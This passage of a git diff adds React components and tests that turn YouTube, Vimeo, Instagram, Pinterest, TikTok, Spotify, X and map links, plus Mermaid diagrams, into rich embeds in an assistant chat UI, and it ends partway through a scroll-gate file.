diff --git a/ui-desktop/src/components/assistant-ui/embeds/frame-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/frame-embed.tsx
new file mode 100644
index 000000000..7d99c0dd7
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/frame-embed.tsx
@@ -0,0 +1,55 @@
+'use client'
+
+import { type CSSProperties } from 'react'
+
+import type { FrameEmbed } from './providers/types'
+import { ScrollGate } from './scroll-gate'
+import { useIsDark } from './use-is-dark'
+
+const ALLOW = 'autoplay; encrypted-media; picture-in-picture; clipboard-write; fullscreen'
+
+// Plain iframes (not webviews): a non-scrollable cross-origin iframe lets the
+// wheel chain to the transcript instead of capturing it. Maps are the one
+// exception — they're interactive, so a ScrollGate blocks them until ⌘ is held.
+export default function FrameEmbedRenderer({ descriptor }: { descriptor: FrameEmbed }) {
+  const isDark = useIsDark()
+  const isMap = descriptor.provider === 'googlemaps' || descriptor.provider === 'openstreetmap'
+  // color-scheme makes the iframe's default (unpainted) backdrop follow the
+  // theme instead of flashing white at the corners / during load.
+  const colorScheme = isDark ? 'dark' : 'light'
+
+  const style: CSSProperties = descriptor.aspectRatio
+    ? { aspectRatio: descriptor.aspectRatio, colorScheme }
+    : { colorScheme, height: descriptor.height }
+
+  if (isMap) {
+    return (
+      <div className="relative w-full overflow-hidden" style={style}>
+        <iframe
+          allow={ALLOW}
+          className="absolute inset-0 size-full border-0 bg-transparent"
+          loading="lazy"
+          referrerPolicy="strict-origin-when-cross-origin"
+          src={descriptor.embedUrl}
+          style={{ colorScheme }}
+          title={`${descriptor.label} embed`}
+        />
+        <ScrollGate />
+      </div>
+    )
+  }
+
+  return (
+    <iframe
+      allow={ALLOW}
+      allowFullScreen
+      className="block w-full border-0 bg-transparent"
+      loading="lazy"
+      referrerPolicy="strict-origin-when-cross-origin"
+      scrolling="no"
+      src={descriptor.embedUrl}
+      style={style}
+      title={`${descriptor.label} embed`}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/index.ts b/ui-desktop/src/components/assistant-ui/embeds/index.ts
new file mode 100644
index 000000000..37117b195
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/index.ts
@@ -0,0 +1,5 @@
+export { extractAlert, MarkdownAlert } from './alert'
+export type { EmbedDescriptor } from './providers'
+export { detectEmbed, isEmbeddableUrl } from './providers'
+export { RICH_FENCE_LANGUAGES, RichCodeBlock } from './registry'
+export { UrlEmbed } from './url-embed'
diff --git a/ui-desktop/src/components/assistant-ui/embeds/mermaid-embed.tsx b/ui-desktop/src/components/assistant-ui/embeds/mermaid-embed.tsx
new file mode 100644
index 000000000..886847270
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/mermaid-embed.tsx
@@ -0,0 +1,113 @@
+'use client'
+
+import mermaid from 'mermaid'
+import { useEffect, useState } from 'react'
+
+import { Zoomable } from '@/components/ui/zoomable'
+import { copySvgAsPng } from '@/lib/svg-image'
+import { cn } from '@/lib/utils'
+
+import type { RichFenceProps } from './types'
+import { useIsDark } from './use-is-dark'
+
+let lastTheme: 'dark' | 'default' | null = null
+
+// Re-initialise only on first use / theme flip. `securityLevel: 'strict'` makes
+// mermaid sanitise label HTML and drop click handlers, so the rendered SVG is
+// safe to inject.
+function ensureInit(dark: boolean) {
+  const theme = dark ? 'dark' : 'default'
+
+  if (theme === lastTheme) {
+    return
+  }
+
+  mermaid.initialize({ fontFamily: 'inherit', securityLevel: 'strict', startOnLoad: false, theme })
+  lastTheme = theme
+}
+
+function SourcePreview({ code, muted }: { code: string; muted?: boolean }) {
+  return (
+    <pre
+      className={cn(
+        'overflow-auto p-3 font-mono text-[0.7rem] leading-relaxed whitespace-pre-wrap wrap-anywhere',
+        muted ? 'text-muted-foreground/70' : 'text-foreground/90'
+      )}
+    >
+      {code}
+    </pre>
+  )
+}
+
+// Lazy chunk (pulls in mermaid). Renders ```mermaid fences as diagrams; shows
+// the source while the message streams (partial syntax throws) and falls back
+// to source on parse failure.
+export default function MermaidRenderer({ code, streaming }: RichFenceProps) {
+  const isDark = useIsDark()
+  const [svg, setSvg] = useState('')
+  const [failed, setFailed] = useState(false)
+
+  useEffect(() => {
+    if (streaming) {
+      return
+    }
+
+    let cancelled = false
+
+    setFailed(false)
+
+    void (async () => {
+      try {
+        ensureInit(isDark)
+        const id = `mmd-${Math.random().toString(36).slice(2)}`
+        const result = await mermaid.render(id, code)
+
+        if (!cancelled) {
+          setSvg(result.svg)
+        }
+      } catch {
+        if (!cancelled) {
+          setFailed(true)
+          setSvg('')
+        }
+      }
+    })()
+
+    return () => {
+      cancelled = true
+    }
+  }, [code, isDark, streaming])
+
+  if (streaming) {
+    return <SourcePreview code={code} muted />
+  }
+
+  if (failed) {
+    return <SourcePreview code={code} />
+  }
+
+  if (!svg) {
+    return <SourcePreview code={code} muted />
+  }
+
+  // Click to open the diagram full-screen with pan/zoom + copy-as-PNG. The
+  // overlay keeps the diagram's natural width (capped to the viewport) so it
+  // renders before any zoom; the inline version stays capped at 33dvh.
+  return (
+    <Zoomable
+      label="Open diagram"
+      onCopy={() => copySvgAsPng(svg)}
+      overlay={
+        <div
+          className="[&_svg]:mx-auto [&_svg]:h-auto [&_svg]:max-h-[80vh] [&_svg]:max-w-[85vw]"
+          dangerouslySetInnerHTML={{ __html: svg }}
+        />
+      }
+    >
+      <div
+        className="overflow-hidden p-3 [&_svg]:mx-auto [&_svg]:h-auto [&_svg]:max-h-[33dvh] [&_svg]:max-w-full"
+        dangerouslySetInnerHTML={{ __html: svg }}
+      />
+    </Zoomable>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/detect.test.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/detect.test.ts
new file mode 100644
index 000000000..be9fbdab8
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/detect.test.ts
@@ -0,0 +1,133 @@
+import { describe, expect, it } from 'vitest'
+
+import type { FrameEmbed, TweetEmbed } from './types'
+
+import { detectEmbed, isEmbeddableUrl } from './index'
+
+function frame(url: string): FrameEmbed {
+  const descriptor = detectEmbed(url)
+
+  if (!descriptor || descriptor.renderer !== 'frame') {
+    throw new Error(`expected a frame embed for ${url}`)
+  }
+
+  return descriptor
+}
+
+describe('detectEmbed — YouTube', () => {
+  it.each([
+    'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
+    'https://youtu.be/dQw4w9WgXcQ',
+    'https://www.youtube.com/shorts/dQw4w9WgXcQ',
+    'https://m.youtube.com/watch?v=dQw4w9WgXcQ',
+    'https://www.youtube.com/embed/dQw4w9WgXcQ',
+    'https://www.youtube.com/live/dQw4w9WgXcQ'
+  ])('resolves %s to the privacy-enhanced embed of the same id', url => {
+    const embed = frame(url)
+
+    expect(embed.provider).toBe('youtube')
+    expect(embed.id).toBe('youtube:dQw4w9WgXcQ')
+    expect(embed.embedUrl).toContain('youtube-nocookie.com/embed/dQw4w9WgXcQ')
+  })
+
+  it('carries a start time from t/start through to the embed', () => {
+    expect(frame('https://youtu.be/dQw4w9WgXcQ?t=90').embedUrl).toContain('start=90')
+    expect(frame('https://youtu.be/dQw4w9WgXcQ?t=1m30s').embedUrl).toContain('start=90')
+  })
+
+  it('rejects ids that are not 11 chars', () => {
+    expect(detectEmbed('https://www.youtube.com/watch?v=short')).toBeNull()
+  })
+})
+
+describe('detectEmbed — other frame providers', () => {
+  it('resolves Vimeo numeric ids across path shapes', () => {
+    expect(frame('https://vimeo.com/76979871').embedUrl).toBe('https://player.vimeo.com/video/76979871')
+    expect(frame('https://vimeo.com/channels/staffpicks/76979871').id).toBe('vimeo:76979871')
+  })
+
+  it('resolves Instagram posts and reels', () => {
+    expect(frame('https://www.instagram.com/p/CabcDEF123/').embedUrl).toBe(
+      'https://www.instagram.com/p/CabcDEF123/embed'
+    )
+    expect(frame('https://www.instagram.com/reel/CabcDEF123/').embedUrl).toContain('/reel/CabcDEF123/embed')
+    expect(frame('https://www.instagram.com/reels/CabcDEF123/').embedUrl).toContain('/reel/CabcDEF123/embed')
+  })
+
+  it('resolves Pinterest pins across locale hosts', () => {
+    expect(frame('https://www.pinterest.com/pin/1234567890/').embedUrl).toBe(
+      'https://assets.pinterest.com/ext/embed.html?id=1234567890'
+    )
+    expect(frame('https://fr.pinterest.com/pin/1234567890/').provider).toBe('pinterest')
+  })
+
+  it('resolves TikTok videos to the official player', () => {
+    expect(frame('https://www.tiktok.com/@user/video/7212345678901234567').embedUrl).toBe(
+      'https://www.tiktok.com/player/v1/7212345678901234567'
+    )
+  })
+
+  it('resolves Spotify tracks, collections, and locale-prefixed urls', () => {
+    expect(frame('https://open.spotify.com/track/4cOdK2wGLETKBW3PvgPWqT').embedUrl).toBe(
+      'https://open.spotify.com/embed/track/4cOdK2wGLETKBW3PvgPWqT'
+    )
+    expect(frame('https://open.spotify.com/playlist/37i9dQZF1DXcBWIGoYBM5M').provider).toBe('spotify')
+    expect(frame('https://open.spotify.com/intl-de/album/1DFixLWuPkv3KT3TnV35m3').id).toBe(
+      'spotify:album:1DFixLWuPkv3KT3TnV35m3'
+    )
+    expect(detectEmbed('https://open.spotify.com/track/')).toBeNull()
+  })
+})
+
+describe('detectEmbed — maps', () => {
+  it('resolves Google Maps coordinates with zoom', () => {
+    const embed = frame('https://www.google.com/maps/@40.7128,-74.0060,12z')
+
+    expect(embed.provider).toBe('googlemaps')
+    expect(embed.embedUrl).toContain('output=embed')
+    expect(embed.embedUrl).toContain('q=40.7128%2C-74.006')
+    expect(embed.embedUrl).toContain('z=12')
+  })
+
+  it('resolves a Google Maps place name', () => {
+    expect(frame('https://www.google.com/maps/place/Eiffel+Tower/').embedUrl).toContain('q=Eiffel+Tower')
+  })
+
+  it('resolves OpenStreetMap fragment state to a bbox embed', () => {
+    const embed = frame('https://www.openstreetmap.org/#map=12/40.7128/-74.0060')
+
+    expect(embed.provider).toBe('openstreetmap')
+    expect(embed.embedUrl).toContain('export/embed.html')
+    expect(embed.embedUrl).toContain('marker=40.7128%2C-74.006')
+    expect(embed.embedUrl).toContain('bbox=')
+  })
+})
+
+describe('detectEmbed — Twitter/X', () => {
+  it('resolves twitter.com and x.com status urls to a tweet descriptor', () => {
+    for (const url of ['https://twitter.com/jack/status/20', 'https://x.com/jack/status/20']) {
+      const descriptor = detectEmbed(url)
+
+      expect(descriptor?.renderer).toBe('tweet')
+      expect((descriptor as TweetEmbed).tweetId).toBe('20')
+    }
+  })
+})
+
+describe('detectEmbed — non-matches', () => {
+  it.each([
+    'https://example.com/watch?v=dQw4w9WgXcQ',
+    'https://github.com/NousResearch/clawcodex',
+    'not-a-url',
+    'ftp://youtube.com/watch?v=dQw4w9WgXcQ',
+    'mailto:someone@youtube.com'
+  ])('returns null for %s', url => {
+    expect(detectEmbed(url)).toBeNull()
+    expect(isEmbeddableUrl(url)).toBe(false)
+  })
+
+  it('handles empty input without throwing', () => {
+    expect(detectEmbed(undefined)).toBeNull()
+    expect(detectEmbed('')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/index.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/index.ts
new file mode 100644
index 000000000..b45983ada
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/index.ts
@@ -0,0 +1,54 @@
+import { instagram } from './instagram'
+import { maps } from './maps'
+import { pinterest } from './pinterest'
+import { spotify } from './spotify'
+import { tiktok } from './tiktok'
+import { twitter } from './twitter'
+import type { EmbedDescriptor, EmbedMatcher } from './types'
+import { vimeo } from './vimeo'
+import { youtube } from './youtube'
+
+export type { EmbedDescriptor, EmbedProvider, EmbedRenderer, FrameEmbed, TweetEmbed } from './types'
+
+// All provider hosts are disjoint, so order is irrelevant — first match wins.
+const MATCHERS: EmbedMatcher[] = [youtube, vimeo, instagram, pinterest, tiktok, twitter, spotify, maps]
+
+function parseUrl(raw: string): URL | null {
+  try {
+    const url = new URL(raw)
+
+    return url.protocol === 'http:' || url.protocol === 'https:' ? url : null
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Resolve a URL to a rich-embed descriptor, or null when no provider matches.
+ * Pure and synchronous — safe to call during render.
+ */
+export function detectEmbed(rawUrl: string | null | undefined): EmbedDescriptor | null {
+  if (!rawUrl) {
+    return null
+  }
+
+  const url = parseUrl(rawUrl)
+
+  if (!url) {
+    return null
+  }
+
+  for (const match of MATCHERS) {
+    const descriptor = match(url)
+
+    if (descriptor) {
+      return descriptor
+    }
+  }
+
+  return null
+}
+
+export function isEmbeddableUrl(rawUrl: string | null | undefined): boolean {
+  return detectEmbed(rawUrl) !== null
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/instagram.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/instagram.ts
new file mode 100644
index 000000000..3d45577a3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/instagram.ts
@@ -0,0 +1,26 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+export const instagram: EmbedMatcher = url => {
+  if (bareHost(url.hostname) !== 'instagram.com') {
+    return null
+  }
+
+  const [typeRaw, code] = url.pathname.split('/').filter(Boolean)
+  const type = typeRaw === 'reels' ? 'reel' : typeRaw
+
+  if (!code || !['p', 'reel', 'tv'].includes(type || '') || !/^[A-Za-z0-9_-]+$/.test(code)) {
+    return null
+  }
+
+  return {
+    embedUrl: `https://www.instagram.com/${type}/${code}/embed`,
+    // Placeholder height for content-visibility; embed.js self-sizes in-document.
+    height: 450,
+    id: `instagram:${code}`,
+    label: 'Instagram',
+    maxWidth: 400,
+    provider: 'instagram',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/maps.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/maps.ts
new file mode 100644
index 000000000..2aa8e615c
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/maps.ts
@@ -0,0 +1,95 @@
+import { bareHost, type EmbedMatcher, type FrameEmbed } from './types'
+
+// `@lat,lng` (optionally `,<zoom>z`) as it appears in Google Maps URLs.
+const LATLNG_RE = /@(-?\d+(?:\.\d+)?),(-?\d+(?:\.\d+)?)(?:,(\d+(?:\.\d+)?)z)?/
+
+function googleMapsEmbed(url: URL): FrameEmbed | null {
+  const host = bareHost(url.hostname)
+
+  if (host !== 'google.com' && host !== 'maps.google.com' && !host.startsWith('google.')) {
+    return null
+  }
+
+  const isMapsPath = host.startsWith('maps.') || url.pathname.startsWith('/maps')
+
+  if (!isMapsPath) {
+    return null
+  }
+
+  // Prefer explicit coordinates; then a `q=` query; then a `/place/<name>`.
+  const coords = url.pathname.match(LATLNG_RE)
+  const placeName = url.pathname.match(/\/place\/([^/@]+)/)
+  const query = url.searchParams.get('q') || url.searchParams.get('query')
+  let q = ''
+  let zoom = ''
+
+  if (coords) {
+    q = `${coords[1]},${coords[2]}`
+    zoom = coords[3] ? String(Math.round(Number(coords[3]))) : ''
+  } else if (query) {
+    q = query
+  } else if (placeName) {
+    q = decodeURIComponent(placeName[1].replace(/\+/g, ' '))
+  }
+
+  if (!q) {
+    return null
+  }
+
+  // `output=embed` is the long-standing keyless Maps embed surface.
+  const params = new URLSearchParams({ output: 'embed', q })
+
+  if (zoom) {
+    params.set('z', zoom)
+  }
+
+  return {
+    aspectRatio: 16 / 10,
+    embedUrl: `https://maps.google.com/maps?${params.toString()}`,
+    id: `googlemaps:${q}${zoom ? `@${zoom}` : ''}`,
+    label: 'Google Maps',
+    maxWidth: 640,
+    provider: 'googlemaps',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
+
+function openStreetMapEmbed(url: URL): FrameEmbed | null {
+  if (bareHost(url.hostname) !== 'openstreetmap.org') {
+    return null
+  }
+
+  // State lives in the fragment: `#map=<zoom>/<lat>/<lng>`.
+  const match = url.hash.match(/map=(\d+(?:\.\d+)?)\/(-?\d+(?:\.\d+)?)\/(-?\d+(?:\.\d+)?)/)
+
+  if (!match) {
+    return null
+  }
+
+  const zoom = Number(match[1])
+  const lat = Number(match[2])
+  const lng = Number(match[3])
+  // Degrees spanned at this zoom; halved for the bbox half-extent.
+  const lonDelta = 360 / 2 ** zoom
+  const latDelta = lonDelta / 2
+
+  const bbox = [lng - lonDelta / 2, lat - latDelta / 2, lng + lonDelta / 2, lat + latDelta / 2]
+    .map(value => value.toFixed(5))
+    .join(',')
+
+  const params = new URLSearchParams({ bbox, layer: 'mapnik', marker: `${lat},${lng}` })
+
+  return {
+    aspectRatio: 16 / 10,
+    embedUrl: `https://www.openstreetmap.org/export/embed.html?${params.toString()}`,
+    id: `openstreetmap:${lat},${lng}@${zoom}`,
+    label: 'OpenStreetMap',
+    maxWidth: 640,
+    provider: 'openstreetmap',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
+
+export const maps: EmbedMatcher = url => googleMapsEmbed(url) || openStreetMapEmbed(url)
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/pinterest.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/pinterest.ts
new file mode 100644
index 000000000..f1928247e
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/pinterest.ts
@@ -0,0 +1,28 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+export const pinterest: EmbedMatcher = url => {
+  // Pinterest runs many locale TLDs (pinterest.co.uk, fr.pinterest.com, ...).
+  if (!bareHost(url.hostname).includes('pinterest.')) {
+    return null
+  }
+
+  const segments = url.pathname.split('/').filter(Boolean)
+
+  if (segments[0] !== 'pin' || !/^\d+$/.test(segments[1] || '')) {
+    return null
+  }
+
+  const id = segments[1]
+
+  return {
+    embedUrl: `https://assets.pinterest.com/ext/embed.html?id=${id}`,
+    // Pinterest's "small" pin size — the default card is too dominant inline.
+    height: 380,
+    id: `pinterest:${id}`,
+    label: 'Pinterest',
+    maxWidth: 236,
+    provider: 'pinterest',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/spotify.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/spotify.ts
new file mode 100644
index 000000000..526bcdc49
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/spotify.ts
@@ -0,0 +1,34 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+// Spotify's embed has only two layouts: compact (≤152) and full (352). Any
+// in-between height renders the compact player and pads the rest with grey, so
+// we snap to the compact size for every type — tight, no dead space.
+const COMPACT_HEIGHT = 152
+const EMBED_TYPES = new Set(['album', 'artist', 'episode', 'playlist', 'show', 'track'])
+
+export const spotify: EmbedMatcher = url => {
+  if (bareHost(url.hostname) !== 'open.spotify.com') {
+    return null
+  }
+
+  // Drop an optional locale prefix (`/intl-de/track/...`).
+  const segments = url.pathname.split('/').filter(Boolean)
+  const start = segments[0]?.startsWith('intl-') ? 1 : 0
+  const type = segments[start] || ''
+  const id = segments[start + 1] || ''
+
+  if (!EMBED_TYPES.has(type) || !/^[A-Za-z0-9]+$/.test(id)) {
+    return null
+  }
+
+  return {
+    embedUrl: `https://open.spotify.com/embed/${type}/${id}`,
+    height: COMPACT_HEIGHT,
+    id: `spotify:${type}:${id}`,
+    label: 'Spotify',
+    maxWidth: 480,
+    provider: 'spotify',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/tiktok.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/tiktok.ts
new file mode 100644
index 000000000..a6ea3179a
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/tiktok.ts
@@ -0,0 +1,28 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+export const tiktok: EmbedMatcher = url => {
+  if (bareHost(url.hostname) !== 'tiktok.com') {
+    return null
+  }
+
+  const segments = url.pathname.split('/').filter(Boolean)
+  const videoIndex = segments.indexOf('video')
+  const id = videoIndex >= 0 ? segments[videoIndex + 1] : ''
+
+  if (!/^\d+$/.test(id || '')) {
+    return null
+  }
+
+  return {
+    // The official player is a clean dark video iframe (no white blockquote
+    // chrome), so it goes through the plain-iframe frame path, sized 9:16.
+    aspectRatio: 9 / 16,
+    embedUrl: `https://www.tiktok.com/player/v1/${id}`,
+    id: `tiktok:${id}`,
+    label: 'TikTok',
+    maxWidth: 365,
+    provider: 'tiktok',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/twitter.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/twitter.ts
new file mode 100644
index 000000000..938c1a021
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/twitter.ts
@@ -0,0 +1,27 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+export const twitter: EmbedMatcher = url => {
+  const host = bareHost(url.hostname)
+
+  if (host !== 'twitter.com' && host !== 'x.com') {
+    return null
+  }
+
+  const segments = url.pathname.split('/').filter(Boolean)
+  const statusIndex = segments.indexOf('status')
+  const id = statusIndex >= 0 ? segments[statusIndex + 1] : ''
+
+  if (!/^\d+$/.test(id || '')) {
+    return null
+  }
+
+  return {
+    id: `twitter:${id}`,
+    label: 'X',
+    maxWidth: 480,
+    provider: 'twitter',
+    renderer: 'tweet',
+    sourceUrl: url.toString(),
+    tweetId: id
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/types.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/types.ts
new file mode 100644
index 000000000..b2735027a
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/types.ts
@@ -0,0 +1,52 @@
+// Embed provider model. Detection is pure, synchronous, and dependency-free so
+// it is safe to run during render and trivial to unit-test. Rendering lives in
+// the lazy renderers (see ../registry.tsx) keyed off `renderer`.
+
+export type EmbedProvider =
+  'googlemaps' | 'instagram' | 'openstreetmap' | 'pinterest' | 'spotify' | 'tiktok' | 'twitter' | 'vimeo' | 'youtube'
+
+/** Which lazy renderer materialises the descriptor. */
+export type EmbedRenderer = 'frame' | 'tweet'
+
+interface EmbedLayout {
+  /** Frame aspect ratio (width / height). For video/maps. */
+  aspectRatio?: number
+  /** Fixed pixel height for non-ratio embeds (Instagram, Pinterest, Spotify). */
+  height?: number
+  /** Max rendered width in px; falls back to the conversation column. */
+  maxWidth?: number
+}
+
+interface BaseEmbed extends EmbedLayout {
+  /** Stable id for React keys / dedupe. */
+  id: string
+  /** Human-facing provider name (e.g. "YouTube"). */
+  label: string
+  provider: EmbedProvider
+  renderer: EmbedRenderer
+  /** Canonical URL opened in the system browser from the card. */
+  sourceUrl: string
+}
+
+/** A provider whose embed is a single iframe URL (video, post, map, ...). */
+export interface FrameEmbed extends BaseEmbed {
+  /** URL loaded inside the iframe. */
+  embedUrl: string
+  renderer: 'frame'
+}
+
+/** Twitter/X ships no iframe URL — only a widget script (see social-embed.tsx). */
+export interface TweetEmbed extends BaseEmbed {
+  renderer: 'tweet'
+  tweetId: string
+}
+
+export type EmbedDescriptor = FrameEmbed | TweetEmbed
+
+/** A provider matcher. Receives a parsed http(s) URL; returns null if unmatched. */
+export type EmbedMatcher = (url: URL) => EmbedDescriptor | null
+
+/** Strip a leading `www.`/`m.`/`mobile.` so host checks read cleanly. */
+export function bareHost(host: string): string {
+  return host.replace(/^(?:www|m|mobile)\./i, '').toLowerCase()
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/vimeo.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/vimeo.ts
new file mode 100644
index 000000000..1ef73ff78
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/vimeo.ts
@@ -0,0 +1,32 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+export const vimeo: EmbedMatcher = url => {
+  const host = bareHost(url.hostname)
+
+  if (host !== 'vimeo.com' && host !== 'player.vimeo.com') {
+    return null
+  }
+
+  // The clip id is the last all-digits segment, covering vimeo.com/123,
+  // /channels/x/123, /groups/x/videos/123, and player/video/123.
+  const id = url.pathname
+    .split('/')
+    .filter(Boolean)
+    .reverse()
+    .find(segment => /^\d+$/.test(segment))
+
+  if (!id) {
+    return null
+  }
+
+  return {
+    aspectRatio: 16 / 9,
+    embedUrl: `https://player.vimeo.com/video/${id}`,
+    id: `vimeo:${id}`,
+    label: 'Vimeo',
+    maxWidth: 640,
+    provider: 'vimeo',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/providers/youtube.ts b/ui-desktop/src/components/assistant-ui/embeds/providers/youtube.ts
new file mode 100644
index 000000000..40444540e
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/providers/youtube.ts
@@ -0,0 +1,65 @@
+import { bareHost, type EmbedMatcher } from './types'
+
+const YOUTUBE_ID_RE = /^[A-Za-z0-9_-]{11}$/
+
+// `t`/`start` accept either raw seconds ("90") or the "1m30s" form.
+function startSeconds(value: string | null): number | undefined {
+  if (!value) {
+    return undefined
+  }
+
+  if (/^\d+$/.test(value)) {
+    return Number(value)
+  }
+
+  const match = value.match(/^(?:(\d+)h)?(?:(\d+)m)?(?:(\d+)s)?$/)
+
+  if (!match || !match[0]) {
+    return undefined
+  }
+
+  const seconds = Number(match[1] || 0) * 3600 + Number(match[2] || 0) * 60 + Number(match[3] || 0)
+
+  return seconds > 0 ? seconds : undefined
+}
+
+export const youtube: EmbedMatcher = url => {
+  const host = bareHost(url.hostname)
+  const segments = url.pathname.split('/').filter(Boolean)
+  let id = ''
+
+  if (host === 'youtu.be') {
+    id = segments[0] || ''
+  } else if (host === 'youtube.com' || host === 'youtube-nocookie.com') {
+    if (segments[0] === 'watch') {
+      id = url.searchParams.get('v') || ''
+    } else if (['embed', 'shorts', 'live', 'v'].includes(segments[0] || '')) {
+      id = segments[1] || ''
+    }
+  } else {
+    return null
+  }
+
+  if (!YOUTUBE_ID_RE.test(id)) {
+    return null
+  }
+
+  const params = new URLSearchParams({ modestbranding: '1', rel: '0' })
+
+  const start = startSeconds(url.searchParams.get('t') || url.searchParams.get('start'))
+
+  if (start) {
+    params.set('start', String(start))
+  }
+
+  return {
+    aspectRatio: 16 / 9,
+    embedUrl: `https://www.youtube-nocookie.com/embed/${id}?${params.toString()}`,
+    id: `youtube:${id}`,
+    label: 'YouTube',
+    maxWidth: 640,
+    provider: 'youtube',
+    renderer: 'frame',
+    sourceUrl: url.toString()
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/registry.tsx b/ui-desktop/src/components/assistant-ui/embeds/registry.tsx
new file mode 100644
index 000000000..2dc7429d9
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/registry.tsx
@@ -0,0 +1,39 @@
+'use client'
+
+import { type ComponentType, lazy, type LazyExoticComponent, type ReactNode, Suspense } from 'react'
+
+import { RichBoundary } from './rich-boundary'
+import type { RichFenceProps } from './types'
+
+// Root renderer for fenced code blocks: a language → lazy-renderer table. Each
+// renderer is its own split chunk (mermaid pulls in the mermaid lib, svg pulls
+// in DOMPurify), loaded only when a block of that language actually appears.
+const LAZY_FENCE: Record<string, LazyExoticComponent<ComponentType<RichFenceProps>>> = {
+  mermaid: lazy(() => import('./mermaid-embed')),
+  svg: lazy(() => import('./svg-embed'))
+}
+
+export const RICH_FENCE_LANGUAGES: ReadonlySet<string> = new Set(Object.keys(LAZY_FENCE))
+
+interface RichCodeBlockProps extends RichFenceProps {
+  /** Rendered for unhandled languages, while the chunk loads, and on failure
+   *  (typically the normal syntax-highlighted code block). */
+  fallback: ReactNode
+  language?: string
+}
+
+export function RichCodeBlock({ code, fallback, language, streaming }: RichCodeBlockProps) {
+  const Renderer = language ? LAZY_FENCE[language.toLowerCase()] : undefined
+
+  if (!Renderer) {
+    return <>{fallback}</>
+  }
+
+  return (
+    <RichBoundary fallback={fallback} resetKey={code}>
+      <Suspense fallback={fallback}>
+        <Renderer code={code} streaming={streaming} />
+      </Suspense>
+    </RichBoundary>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/rich-boundary.tsx b/ui-desktop/src/components/assistant-ui/embeds/rich-boundary.tsx
new file mode 100644
index 000000000..ee5c5b313
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/rich-boundary.tsx
@@ -0,0 +1,34 @@
+import { Component, type ReactNode } from 'react'
+
+interface Props {
+  children: ReactNode
+  /** Rendered in place of the subtree when a render throws. */
+  fallback: ReactNode
+  /** Changing this clears a caught error (e.g. new source for a re-parse). */
+  resetKey?: string
+}
+
+/**
+ * Local boundary for rich renderers (Mermaid parse throws, malformed SVG, a
+ * provider widget blowing up). A failed embed must never blank the transcript —
+ * we show the `fallback` (typically the raw source) and recover when `resetKey`
+ * changes. Unlike MessageRenderBoundary this swallows ALL render errors, because
+ * the blast radius is one self-contained block, not the message tree.
+ */
+export class RichBoundary extends Component<Props, { failed: boolean }> {
+  state = { failed: false }
+
+  static getDerivedStateFromError() {
+    return { failed: true }
+  }
+
+  componentDidUpdate(prev: Props) {
+    if (this.state.failed && prev.resetKey !== this.props.resetKey) {
+      this.setState({ failed: false })
+    }
+  }
+
+  render() {
+    return this.state.failed ? this.props.fallback : this.props.children
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/scroll-gate.tsx b/ui-desktop/src/components/assistant-ui/embeds/scroll-gate.tsx
new file mode 100644
index 000000000..f7f45384c
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/scroll-gate.tsx
@@ -0,0 +1,33 @@
+'use client'
+
+import { useEffect, useState } from 'react'
+
+import { cn } from '@/lib/utils'
+
